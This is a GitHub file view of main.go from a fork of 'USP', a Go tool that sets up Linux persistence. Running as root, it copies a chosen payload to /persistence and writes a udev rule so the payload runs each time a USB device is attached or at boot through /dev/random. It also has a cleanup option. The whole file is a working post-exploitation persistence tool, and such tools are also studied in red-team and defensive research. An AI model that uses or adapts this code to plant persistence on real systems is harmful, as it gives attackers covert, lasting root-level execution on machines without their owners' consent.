forked from grahamhelton/USP
-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
152 lines (125 loc) · 5.27 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// This Go program establishes persistence on a Linux system by creating a udev rule
// that triggers the execution of a specified payload (binary or script)
// either when a USB device is inserted or on system boot (using /dev/random).
// It also provides a cleanup option to remove the persistence.
package main
import (
"flag"
"fmt"
"os"
"os/user"
"github.com/fatih/color"
)
var goodTick = color.GreenString("[+] ")
var badTick = color.RedString("[!] ")
func checkRoot() {
// Check if running as root
currentUser, err := user.Current()
if err != nil {
fmt.Println(badTick, "Error getting current user:", err)
os.Exit(1)
}
if currentUser.Uid != "0" {
fmt.Println(badTick, "Error: must be run as root")
os.Exit(1)
}
}
// Write the /etc/udev/rules.d/<filename>.rules
func writeUdevRule(ruleContent string, rulesnamePtr *string) {
err := os.WriteFile("/etc/udev/rules.d/"+*rulesnamePtr, []byte(ruleContent), 0644)
if err != nil {
fmt.Println(badTick, "Error writing udev rule:", err)
os.Exit(1)
}
fmt.Println(goodTick, "Added udev rule:", *rulesnamePtr)
}
// Write the payload that will be executed as persistence
func writePayload(payloadPtr *[]byte, filenamePtr *string) {
err := os.WriteFile(*filenamePtr, *payloadPtr, 0755)
if err != nil {
fmt.Println(badTick, "Error writing payload file:", err)
os.Exit(1)
}
fmt.Println(goodTick, "Added persistence payload:", *filenamePtr)
}
func cleanUp(filenamePtr *string, rulesnamePtr *string) {
// Remove the payload file
err := os.Remove(*filenamePtr)
if err != nil {
fmt.Println(badTick, "Error removing payload file:", err)
} else {
fmt.Println(goodTick, "Removed payload file:", *filenamePtr)
}
// Remove the udev rule
err = os.Remove("/etc/udev/rules.d/" + *rulesnamePtr)
if err != nil {
fmt.Println(badTick, "Error removing udev rule:", err)
} else {
fmt.Println(goodTick, "Removed udev rule:", *rulesnamePtr)
}
}
func main() {
fmt.Println(`
.,;,.
'KMMMMM0.
,oOXNWWWWWWWMMMMMMMMX
cXMWOl::::::::xMMMMMMMo
cXMWd. 'oO0ko.
.;lll:' cXMWd.
.oNMMMMMMMWx. lNMWd. ,
.NMMMMMMMMMMMW: .lNMNo. USP x udev: Persistance is the key .MWOl.
OMMMMMMMMMMMMMWOOOOOOKWMMMKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0MMMMMNx:.
kMMMMMMMMMMMMMNxxxxxxxxxxxxxxxxxONMMMXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxOMMMMMKd,
.XMMMMMMMMMMMW; ,0MMO' .MNx:.
cKMMMMMMMNd. 'OMMO, .
.,:c:,. ,OMM0'
'OMM0, dXXXXXXXK.
'OMMKxlllllllcXMMMMMMMM.
.:x0XXXXXXXXWMMMMMMMM.
OMMMMMMMM.
.,,,,,,,,
`)
checkRoot()
// Define command-line flags
filenamePtr := flag.String("f", "/persistence", "/path/to/location of binary to be installed at")
payloadPtr := flag.String("p", "./example_payload.sh", "Path to the payload file (binary or script) that will be executed")
rulesnamePtr := flag.String("r", "75-persistence.rules", "Name of the persistence rules file")
usbPtr := flag.Bool("usb", false, "Enable USB persistence")
randomPtr := flag.Bool("random", false, "Executes when /dev/random is loaded (on reboot)")
cleanupPtr := flag.Bool("c", false, "Cleanup persistence")
// Parse the flags
flag.Parse()
if *cleanupPtr {
cleanUp(filenamePtr, rulesnamePtr)
os.Exit(0)
}
if !*usbPtr && !*randomPtr {
fmt.Println(badTick, "Please specify a persistence method -usb or -random")
flag.Usage()
os.Exit(1)
} else {
// Check if the payload file exists
if _, err := os.Stat(*payloadPtr); os.IsNotExist(err) {
fmt.Println(badTick, "Error: Payload file not found:", *payloadPtr)
os.Exit(1)
}
// Read the payload from the file
payload, err := os.ReadFile(*payloadPtr)
if err != nil {
fmt.Println(badTick, "Error reading payload file:", err)
os.Exit(1)
}
if *usbPtr {
fmt.Println(goodTick, "Adding USB persistence")
ruleContent := fmt.Sprintf("SUBSYSTEMS==\"usb\", RUN+=\"%s\"", *filenamePtr)
writePayload(&payload, filenamePtr)
writeUdevRule(ruleContent, rulesnamePtr)
}
if *randomPtr {
fmt.Println(goodTick, "Adding /dev/random persistence")
ruleContent := fmt.Sprintf("ACTION==\"add\", ENV{MAJOR}==\"1\", ENV{MINOR}==\"8\", RUN+=\"%s\"", *filenamePtr)
writePayload(&payload, filenamePtr)
writeUdevRule(ruleContent, rulesnamePtr)
}
}
}